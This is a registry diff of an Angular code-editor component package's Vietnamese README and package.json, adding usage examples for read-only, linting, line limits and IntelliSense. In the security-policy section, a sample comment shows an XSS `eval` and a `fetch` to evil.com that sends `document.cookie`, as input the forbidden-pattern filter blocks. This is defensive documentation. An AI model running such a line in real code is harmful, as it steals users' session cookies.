@libs-ui/components-preview-text-data 0.2.357-8 → 0.2.357-9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +314 -223
- package/package.json +7 -7
package/README.md
CHANGED
|
@@ -62,264 +62,363 @@ import {
|
|
|
62
62
|
|
|
63
63
|
## Ví dụ sử dụng
|
|
64
64
|
|
|
65
|
-
### 1. Chế độ
|
|
65
|
+
### 1. Chế độ Xem (Read-only)
|
|
66
66
|
|
|
67
|
-
|
|
68
|
-
// my-viewer.component.ts
|
|
69
|
-
import { ChangeDetectionStrategy, Component } from '@angular/core';
|
|
70
|
-
import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
|
|
67
|
+
Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
|
|
71
68
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
<libs_ui-components-preview_text_data
|
|
79
|
-
[content]="configCode"
|
|
80
|
-
[langSelected]="'json'"
|
|
81
|
-
[hiddenAction]="true"
|
|
82
|
-
background="#fcfcfc" />
|
|
83
|
-
`,
|
|
84
|
-
})
|
|
85
|
-
export class MyViewerComponent {
|
|
86
|
-
readonly configCode = `{
|
|
87
|
-
"projectName": "Libs UI",
|
|
88
|
-
"version": "2.0.0",
|
|
89
|
-
"features": ["Signals", "CodeMirror", "OnPush"]
|
|
90
|
-
}`;
|
|
91
|
-
}
|
|
69
|
+
```html
|
|
70
|
+
<libs_ui-components-preview_text_data
|
|
71
|
+
[content]="readonlyCode"
|
|
72
|
+
[langSelected]="'javascript'"
|
|
73
|
+
[hiddenAction]="true"
|
|
74
|
+
background="#fcfcfc" />
|
|
92
75
|
```
|
|
93
76
|
|
|
94
|
-
### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
|
|
95
|
-
|
|
96
77
|
```typescript
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
IPreviewTextDataChange,
|
|
102
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
103
|
-
} from '@libs-ui/components-preview-text-data';
|
|
104
|
-
import { Diagnostic } from '@codemirror/lint';
|
|
105
|
-
|
|
106
|
-
@Component({
|
|
107
|
-
selector: 'app-sql-editor',
|
|
108
|
-
standalone: true,
|
|
109
|
-
changeDetection: ChangeDetectionStrategy.OnPush,
|
|
110
|
-
imports: [LibsUiComponentsPreviewTextDataComponent],
|
|
111
|
-
template: `
|
|
112
|
-
<libs_ui-components-preview_text_data
|
|
113
|
-
[content]="sqlQuery"
|
|
114
|
-
[(langSelected)]="currentLang"
|
|
115
|
-
[editable]="true"
|
|
116
|
-
[langsAccept]="['sql', 'javascript', 'json']"
|
|
117
|
-
(outChange)="handlerChange($event)"
|
|
118
|
-
(syntaxErrors)="handlerSyntaxErrors($event)" />
|
|
119
|
-
|
|
120
|
-
@if (lintErrors().length) {
|
|
121
|
-
<div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
|
|
122
|
-
Lỗi cú pháp: {{ lintErrors()[0].message }}
|
|
123
|
-
</div>
|
|
124
|
-
}
|
|
125
|
-
`,
|
|
126
|
-
})
|
|
127
|
-
export class SqlEditorComponent {
|
|
128
|
-
readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
|
|
129
|
-
readonly lintErrors = signal<Diagnostic[]>([]);
|
|
130
|
-
readonly sqlQuery = `SELECT id, name, email
|
|
131
|
-
FROM users
|
|
132
|
-
WHERE status = 'active'
|
|
133
|
-
ORDER BY created_at DESC
|
|
134
|
-
LIMIT 50;`;
|
|
135
|
-
|
|
136
|
-
handlerChange(event: IPreviewTextDataChange): void {
|
|
137
|
-
event.stopPropagation?.();
|
|
138
|
-
console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
handlerSyntaxErrors(errors: Diagnostic[]): void {
|
|
142
|
-
this.lintErrors.set(errors);
|
|
143
|
-
}
|
|
144
|
-
}
|
|
78
|
+
readonly readonlyCode = `/* Standalone Code Preview */
|
|
79
|
+
function checkStandards(component) {
|
|
80
|
+
return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
|
|
81
|
+
}`;
|
|
145
82
|
```
|
|
146
83
|
|
|
147
|
-
|
|
84
|
+
---
|
|
148
85
|
|
|
149
|
-
|
|
150
|
-
// js-intellisense.component.ts
|
|
151
|
-
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
|
|
152
|
-
import {
|
|
153
|
-
LibsUiComponentsPreviewTextDataComponent,
|
|
154
|
-
IPreviewTextDataCompletionItem,
|
|
155
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
156
|
-
} from '@libs-ui/components-preview-text-data';
|
|
86
|
+
### 2. Chế độ Chỉnh sửa & Linter
|
|
157
87
|
|
|
158
|
-
|
|
159
|
-
selector: 'app-js-intellisense',
|
|
160
|
-
standalone: true,
|
|
161
|
-
changeDetection: ChangeDetectionStrategy.OnPush,
|
|
162
|
-
imports: [LibsUiComponentsPreviewTextDataComponent],
|
|
163
|
-
template: `
|
|
164
|
-
<libs_ui-components-preview_text_data
|
|
165
|
-
[content]="starterCode"
|
|
166
|
-
[(langSelected)]="lang"
|
|
167
|
-
[editable]="true"
|
|
168
|
-
[completions]="completions"
|
|
169
|
-
background="#fafbfc" />
|
|
170
|
-
`,
|
|
171
|
-
})
|
|
172
|
-
export class JsIntelliSenseComponent {
|
|
173
|
-
readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
88
|
+
Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
|
|
174
89
|
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
90
|
+
```html
|
|
91
|
+
<div class="flex flex-col gap-4">
|
|
92
|
+
<libs_ui-components-preview_text_data
|
|
93
|
+
[content]="jsonContent"
|
|
94
|
+
[(langSelected)]="editableLang"
|
|
95
|
+
[editable]="true"
|
|
96
|
+
[langsAccept]="['json', 'javascript', 'sql']"
|
|
97
|
+
(syntaxErrors)="onSyntaxErrors($event)" />
|
|
180
98
|
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
properties: [
|
|
188
|
-
{ label: 'id', type: 'property', detail: 'number', info: 'Unique user ID' },
|
|
189
|
-
{ label: 'name', type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
|
|
190
|
-
{ label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
|
|
191
|
-
{ label: 'role', type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
|
|
192
|
-
{ label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
|
|
193
|
-
],
|
|
194
|
-
},
|
|
195
|
-
{
|
|
196
|
-
label: 'config',
|
|
197
|
-
type: 'variable',
|
|
198
|
-
detail: 'object',
|
|
199
|
-
info: 'Application configuration',
|
|
200
|
-
properties: [
|
|
201
|
-
{ label: 'apiUrl', type: 'property', detail: 'string', info: 'Base URL của API server' },
|
|
202
|
-
{ label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
|
|
203
|
-
{ label: 'debug', type: 'property', detail: 'boolean', info: 'Bật debug logging' },
|
|
204
|
-
],
|
|
205
|
-
},
|
|
206
|
-
];
|
|
207
|
-
}
|
|
99
|
+
@if (linterErrors().length) {
|
|
100
|
+
<div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
|
|
101
|
+
Error: {{ linterErrors()[0].message }}
|
|
102
|
+
</div>
|
|
103
|
+
}
|
|
104
|
+
</div>
|
|
208
105
|
```
|
|
209
106
|
|
|
210
|
-
### 4. Security policy — chặn pattern nguy hiểm
|
|
211
|
-
|
|
212
107
|
```typescript
|
|
213
|
-
// secure-editor.component.ts
|
|
214
108
|
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
|
|
215
|
-
import {
|
|
216
|
-
|
|
217
|
-
DEFAULT_SECURITY_PATTERNS,
|
|
218
|
-
IPreviewTextDataViolation,
|
|
219
|
-
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
|
|
220
|
-
} from '@libs-ui/components-preview-text-data';
|
|
109
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
110
|
+
import { Diagnostic } from '@codemirror/lint';
|
|
221
111
|
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
[content]="starterCode"
|
|
230
|
-
[(langSelected)]="lang"
|
|
231
|
-
[editable]="true"
|
|
232
|
-
[forbiddenPatterns]="securityPatterns"
|
|
233
|
-
(outViolations)="handlerViolations($event)"
|
|
234
|
-
background="#fafbfc" />
|
|
235
|
-
|
|
236
|
-
@if (violations().length) {
|
|
237
|
-
<div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
|
|
238
|
-
<p class="text-sm font-semibold text-red-700 mb-1">
|
|
239
|
-
Phát hiện {{ violations().length }} vi phạm bảo mật:
|
|
240
|
-
</p>
|
|
241
|
-
@for (v of violations(); track v.from) {
|
|
242
|
-
<p class="text-xs text-red-600 font-mono">
|
|
243
|
-
Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
|
|
244
|
-
</p>
|
|
245
|
-
}
|
|
246
|
-
</div>
|
|
247
|
-
}
|
|
248
|
-
`,
|
|
249
|
-
})
|
|
250
|
-
export class SecureEditorComponent {
|
|
251
|
-
readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
252
|
-
readonly violations = signal<IPreviewTextDataViolation[]>([]);
|
|
253
|
-
readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
|
|
112
|
+
// [content]="jsonContent" — nội dung JSON mẫu ban đầu
|
|
113
|
+
readonly jsonContent = `{
|
|
114
|
+
"projectName": "Libs UI",
|
|
115
|
+
"version": "1.0.0",
|
|
116
|
+
"features": ["Signals", "CodeMirror", "Standalone"],
|
|
117
|
+
"isBmadCompliant": true
|
|
118
|
+
}`;
|
|
254
119
|
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
258
|
-
}
|
|
259
|
-
// Thử gõ: eval("test") hoặc localStorage.getItem('key')
|
|
260
|
-
// → sẽ bị highlight đỏ và chặn paste`;
|
|
120
|
+
// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
|
|
121
|
+
readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
|
|
261
122
|
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
123
|
+
// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
|
|
124
|
+
readonly linterErrors = signal<Diagnostic[]>([]);
|
|
125
|
+
|
|
126
|
+
// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
|
|
127
|
+
onSyntaxErrors(errors: Diagnostic[]): void {
|
|
128
|
+
this.linterErrors.set(errors);
|
|
265
129
|
}
|
|
266
130
|
```
|
|
267
131
|
|
|
268
|
-
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
|
|
135
|
+
|
|
136
|
+
Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
|
|
269
137
|
|
|
270
138
|
```html
|
|
271
|
-
<!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
|
|
272
139
|
<libs_ui-components-preview_text_data
|
|
273
|
-
[content]="
|
|
274
|
-
[(langSelected)]="
|
|
140
|
+
[content]="''"
|
|
141
|
+
[(langSelected)]="codeInputLang"
|
|
275
142
|
[editable]="true"
|
|
276
|
-
[langsAccept]="['
|
|
143
|
+
[langsAccept]="['javascript', 'python']"
|
|
144
|
+
[minLines]="10"
|
|
145
|
+
[maxLines]="20" />
|
|
277
146
|
```
|
|
278
147
|
|
|
279
|
-
### 6. Màn nhập code (min/max số dòng + giới hạn ngôn ngữ)
|
|
280
|
-
|
|
281
148
|
```typescript
|
|
282
|
-
|
|
283
|
-
import {
|
|
284
|
-
import { LibsUiComponentsPreviewTextDataComponent, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
149
|
+
import { signal } from '@angular/core';
|
|
150
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
285
151
|
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
imports: [LibsUiComponentsPreviewTextDataComponent],
|
|
290
|
-
template: `
|
|
291
|
-
<libs_ui-components-preview_text_data
|
|
292
|
-
[content]="''"
|
|
293
|
-
[(langSelected)]="lang"
|
|
294
|
-
[editable]="true"
|
|
295
|
-
[langsAccept]="['javascript', 'python']"
|
|
296
|
-
[minLines]="10"
|
|
297
|
-
[maxLines]="20"
|
|
298
|
-
[zIndexPopover]="1500" />
|
|
299
|
-
`,
|
|
300
|
-
})
|
|
301
|
-
export class CodeInputComponent {
|
|
302
|
-
// Mặc định trống, chỉ cho JS/Python; editor hiện sẵn tối thiểu 10 dòng, vượt 20 dòng → xuất hiện scroll.
|
|
303
|
-
readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
304
|
-
}
|
|
152
|
+
// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
|
|
153
|
+
// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
|
|
154
|
+
readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
305
155
|
```
|
|
306
156
|
|
|
307
|
-
|
|
157
|
+
---
|
|
308
158
|
|
|
309
|
-
|
|
159
|
+
### 4. Editor tự fit theo container (min/max-height)
|
|
160
|
+
|
|
161
|
+
Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
|
|
310
162
|
|
|
311
163
|
```html
|
|
312
|
-
<!-- #boxRef là template
|
|
164
|
+
<!-- #boxRef là template ref tới div container -->
|
|
313
165
|
<div #boxRef class="min-h-[120px] max-h-[300px]">
|
|
314
166
|
<libs_ui-components-preview_text_data
|
|
315
167
|
[content]="''"
|
|
316
|
-
[(langSelected)]="
|
|
168
|
+
[(langSelected)]="codeContainerLang"
|
|
317
169
|
[editable]="true"
|
|
318
170
|
[langsAccept]="['javascript', 'python']"
|
|
319
171
|
[containerElement]="boxRef" />
|
|
320
172
|
</div>
|
|
321
173
|
```
|
|
322
174
|
|
|
175
|
+
```typescript
|
|
176
|
+
import { signal } from '@angular/core';
|
|
177
|
+
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
178
|
+
|
|
179
|
+
// Bọc editor trong div có min/max-height, truyền chính element đó vào.
|
|
180
|
+
// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
|
|
181
|
+
readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
### 5. JavaScript — IntelliSense với Object có sẵn
|
|
187
|
+
|
|
188
|
+
Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
|
|
189
|
+
|
|
190
|
+
```html
|
|
191
|
+
<libs_ui-components-preview_text_data
|
|
192
|
+
[content]="jsStarterCode"
|
|
193
|
+
[(langSelected)]="jsAutocompleteLang"
|
|
194
|
+
[editable]="true"
|
|
195
|
+
[completions]="jsCompletions"
|
|
196
|
+
background="#fafbfc" />
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
```typescript
|
|
200
|
+
import { signal } from '@angular/core';
|
|
201
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
202
|
+
|
|
203
|
+
// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
|
|
204
|
+
readonly jsStarterCode = `function printUserInfo() {
|
|
205
|
+
const userName = user.
|
|
206
|
+
const baseUrl = config.
|
|
207
|
+
return db.
|
|
208
|
+
}`;
|
|
209
|
+
|
|
210
|
+
// [(langSelected)]="jsAutocompleteLang"
|
|
211
|
+
readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
212
|
+
|
|
213
|
+
// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
|
|
214
|
+
readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
|
|
215
|
+
{
|
|
216
|
+
label: 'user',
|
|
217
|
+
type: 'variable',
|
|
218
|
+
detail: 'object',
|
|
219
|
+
properties: [
|
|
220
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
221
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
222
|
+
{ label: 'email', type: 'property', detail: 'string' },
|
|
223
|
+
{ label: 'role', type: 'property', detail: "'admin'|'user'" },
|
|
224
|
+
{ label: 'logout', type: 'method', detail: '() => Promise<void>' },
|
|
225
|
+
],
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
label: 'config',
|
|
229
|
+
type: 'variable',
|
|
230
|
+
detail: 'object',
|
|
231
|
+
properties: [
|
|
232
|
+
{ label: 'apiUrl', type: 'property', detail: 'string' },
|
|
233
|
+
{ label: 'timeout', type: 'property', detail: 'number' },
|
|
234
|
+
{ label: 'debug', type: 'property', detail: 'boolean' },
|
|
235
|
+
],
|
|
236
|
+
},
|
|
237
|
+
// ... object "db" tương tự (host, port, query(), connect(), transaction()...)
|
|
238
|
+
];
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
|
|
244
|
+
|
|
245
|
+
Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
|
|
246
|
+
|
|
247
|
+
```html
|
|
248
|
+
<libs_ui-components-preview_text_data
|
|
249
|
+
[content]="jsDeepStarterCode"
|
|
250
|
+
[(langSelected)]="jsDeepAutocompleteLang"
|
|
251
|
+
[editable]="true"
|
|
252
|
+
[completions]="jsDeepCompletions"
|
|
253
|
+
background="#fafbfc" />
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
```typescript
|
|
257
|
+
import { signal } from '@angular/core';
|
|
258
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
259
|
+
|
|
260
|
+
// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
|
|
261
|
+
readonly jsDeepStarterCode = `function buildUserCard() {
|
|
262
|
+
const ctx = app.
|
|
263
|
+
const avatar = app.user.profile.
|
|
264
|
+
const lat = app.user.profile.address.geo.
|
|
265
|
+
return app.services.auth.
|
|
266
|
+
}`;
|
|
267
|
+
|
|
268
|
+
// [(langSelected)]="jsDeepAutocompleteLang"
|
|
269
|
+
readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
270
|
+
|
|
271
|
+
// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
|
|
272
|
+
// Gõ "app." → user, config, services
|
|
273
|
+
// Gõ "app.user.profile.address." → city, country, geo
|
|
274
|
+
readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
|
|
275
|
+
{
|
|
276
|
+
label: 'app',
|
|
277
|
+
type: 'variable',
|
|
278
|
+
detail: 'AppContext',
|
|
279
|
+
properties: [
|
|
280
|
+
{
|
|
281
|
+
label: 'user',
|
|
282
|
+
type: 'property',
|
|
283
|
+
detail: 'User',
|
|
284
|
+
properties: [
|
|
285
|
+
{ label: 'id', type: 'property', detail: 'number' },
|
|
286
|
+
{ label: 'name', type: 'property', detail: 'string' },
|
|
287
|
+
{
|
|
288
|
+
label: 'profile',
|
|
289
|
+
type: 'property',
|
|
290
|
+
detail: 'Profile',
|
|
291
|
+
properties: [
|
|
292
|
+
{ label: 'avatar', type: 'property', detail: 'string' },
|
|
293
|
+
{ label: 'bio', type: 'property', detail: 'string' },
|
|
294
|
+
{
|
|
295
|
+
label: 'address',
|
|
296
|
+
type: 'property',
|
|
297
|
+
detail: 'Address',
|
|
298
|
+
properties: [
|
|
299
|
+
{ label: 'city', type: 'property', detail: 'string' },
|
|
300
|
+
{ label: 'country', type: 'property', detail: 'string' },
|
|
301
|
+
{
|
|
302
|
+
label: 'geo',
|
|
303
|
+
type: 'property',
|
|
304
|
+
detail: 'GeoPoint',
|
|
305
|
+
properties: [
|
|
306
|
+
{ label: 'lat', type: 'property', detail: 'number' },
|
|
307
|
+
{ label: 'lng', type: 'property', detail: 'number' },
|
|
308
|
+
],
|
|
309
|
+
},
|
|
310
|
+
],
|
|
311
|
+
},
|
|
312
|
+
],
|
|
313
|
+
},
|
|
314
|
+
],
|
|
315
|
+
},
|
|
316
|
+
// ...config, services tương tự (mỗi cấp có 'properties' riêng)
|
|
317
|
+
],
|
|
318
|
+
},
|
|
319
|
+
];
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
---
|
|
323
|
+
|
|
324
|
+
### 7. Python — IntelliSense với Class/Object
|
|
325
|
+
|
|
326
|
+
Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
|
|
327
|
+
|
|
328
|
+
```html
|
|
329
|
+
<libs_ui-components-preview_text_data
|
|
330
|
+
[content]="pyStarterCode"
|
|
331
|
+
[(langSelected)]="pyAutocompleteLang"
|
|
332
|
+
[editable]="true"
|
|
333
|
+
[completions]="pyCompletions"
|
|
334
|
+
background="#fafbfc" />
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
```typescript
|
|
338
|
+
import { signal } from '@angular/core';
|
|
339
|
+
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
340
|
+
|
|
341
|
+
// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
|
|
342
|
+
readonly pyStarterCode = `def handle_request():
|
|
343
|
+
server = config.
|
|
344
|
+
data = request.
|
|
345
|
+
logger.
|
|
346
|
+
return server`;
|
|
347
|
+
|
|
348
|
+
// [(langSelected)]="pyAutocompleteLang"
|
|
349
|
+
readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
|
|
350
|
+
|
|
351
|
+
// [completions]="pyCompletions"
|
|
352
|
+
readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
|
|
353
|
+
{
|
|
354
|
+
label: 'config',
|
|
355
|
+
type: 'class',
|
|
356
|
+
detail: 'class Config',
|
|
357
|
+
properties: [
|
|
358
|
+
{ label: 'host', type: 'property', detail: 'str' },
|
|
359
|
+
{ label: 'port', type: 'property', detail: 'int' },
|
|
360
|
+
{ label: 'debug', type: 'property', detail: 'bool' },
|
|
361
|
+
{ label: 'to_dict', type: 'method', detail: '() -> dict' },
|
|
362
|
+
],
|
|
363
|
+
},
|
|
364
|
+
// ... object "request" tương tự (method, url, headers, json()...)
|
|
365
|
+
{
|
|
366
|
+
label: 'logger',
|
|
367
|
+
type: 'variable',
|
|
368
|
+
detail: 'Logger',
|
|
369
|
+
properties: [
|
|
370
|
+
{ label: 'info', type: 'method', detail: '(msg: str) -> None' },
|
|
371
|
+
{ label: 'error', type: 'method', detail: '(msg: str) -> None' },
|
|
372
|
+
{ label: 'warning', type: 'method', detail: '(msg: str) -> None' },
|
|
373
|
+
],
|
|
374
|
+
},
|
|
375
|
+
];
|
|
376
|
+
```
|
|
377
|
+
|
|
378
|
+
---
|
|
379
|
+
|
|
380
|
+
### 8. Security Policy — Forbidden Patterns
|
|
381
|
+
|
|
382
|
+
Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
|
|
383
|
+
|
|
384
|
+
```html
|
|
385
|
+
<libs_ui-components-preview_text_data
|
|
386
|
+
[content]="securityStarterCode"
|
|
387
|
+
[(langSelected)]="securityLang"
|
|
388
|
+
[editable]="true"
|
|
389
|
+
[forbiddenPatterns]="defaultSecurityPatterns"
|
|
390
|
+
(outViolations)="onSecurityViolations($event)"
|
|
391
|
+
background="#fafbfc" />
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
```typescript
|
|
395
|
+
import { signal } from '@angular/core';
|
|
396
|
+
import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
|
|
397
|
+
|
|
398
|
+
// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
|
|
399
|
+
readonly securityStarterCode = `function calculateTotal(items) {
|
|
400
|
+
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
|
|
401
|
+
}
|
|
402
|
+
// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
|
|
403
|
+
// eval("alert('xss')")
|
|
404
|
+
// fetch('https://evil.com/steal?data=' + document.cookie)`;
|
|
405
|
+
|
|
406
|
+
// [(langSelected)]="securityLang"
|
|
407
|
+
readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
|
|
408
|
+
|
|
409
|
+
// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
|
|
410
|
+
readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
|
|
411
|
+
|
|
412
|
+
// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
|
|
413
|
+
readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
|
|
414
|
+
|
|
415
|
+
onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
|
|
416
|
+
this.securityViolations.set(violations);
|
|
417
|
+
}
|
|
418
|
+
```
|
|
419
|
+
|
|
420
|
+
> ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
|
|
421
|
+
|
|
323
422
|
## @Input()
|
|
324
423
|
|
|
325
424
|
| Input | Type | Default | Mô tả | Ví dụ |
|
|
@@ -489,14 +588,6 @@ Các pattern được chặn:
|
|
|
489
588
|
|
|
490
589
|
⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
|
|
491
590
|
|
|
492
|
-
## Demo
|
|
493
|
-
|
|
494
|
-
```bash
|
|
495
|
-
npx nx serve core-ui
|
|
496
|
-
```
|
|
497
|
-
|
|
498
|
-
Truy cập: http://localhost:4500/preview-text-data
|
|
499
|
-
|
|
500
591
|
## Unit Tests
|
|
501
592
|
|
|
502
593
|
```bash
|
package/package.json
CHANGED
|
@@ -1,23 +1,23 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@libs-ui/components-preview-text-data",
|
|
3
|
-
"version": "0.2.357-
|
|
3
|
+
"version": "0.2.357-9",
|
|
4
4
|
"peerDependencies": {
|
|
5
5
|
"@angular/core": ">=18.0.0",
|
|
6
6
|
"@babel/parser": ">=7.0.0",
|
|
7
7
|
"globals": ">=13.0.0",
|
|
8
|
-
"@libs-ui/components-buttons-button": "0.2.357-
|
|
9
|
-
"@libs-ui/components-dropdown": "0.2.357-
|
|
10
|
-
"@libs-ui/services-notification": "0.2.357-
|
|
11
|
-
"@libs-ui/utils": "0.2.357-
|
|
8
|
+
"@libs-ui/components-buttons-button": "0.2.357-9",
|
|
9
|
+
"@libs-ui/components-dropdown": "0.2.357-9",
|
|
10
|
+
"@libs-ui/services-notification": "0.2.357-9",
|
|
11
|
+
"@libs-ui/utils": "0.2.357-9",
|
|
12
12
|
"@codemirror/autocomplete": "6.20.2",
|
|
13
13
|
"@codemirror/language": "6.12.3",
|
|
14
14
|
"@codemirror/lint": "6.9.1",
|
|
15
15
|
"@codemirror/state": "6.6.0",
|
|
16
16
|
"@codemirror/view": "6.38.6",
|
|
17
17
|
"@lezer/common": "1.5.2",
|
|
18
|
-
"@libs-ui/components-list": "0.2.357-
|
|
18
|
+
"@libs-ui/components-list": "0.2.357-9",
|
|
19
19
|
"codemirror6": "npm:codemirror@6.0.2",
|
|
20
|
-
"@libs-ui/services-http-request": "0.2.357-
|
|
20
|
+
"@libs-ui/services-http-request": "0.2.357-9",
|
|
21
21
|
"@codemirror/lang-javascript": "6.2.4",
|
|
22
22
|
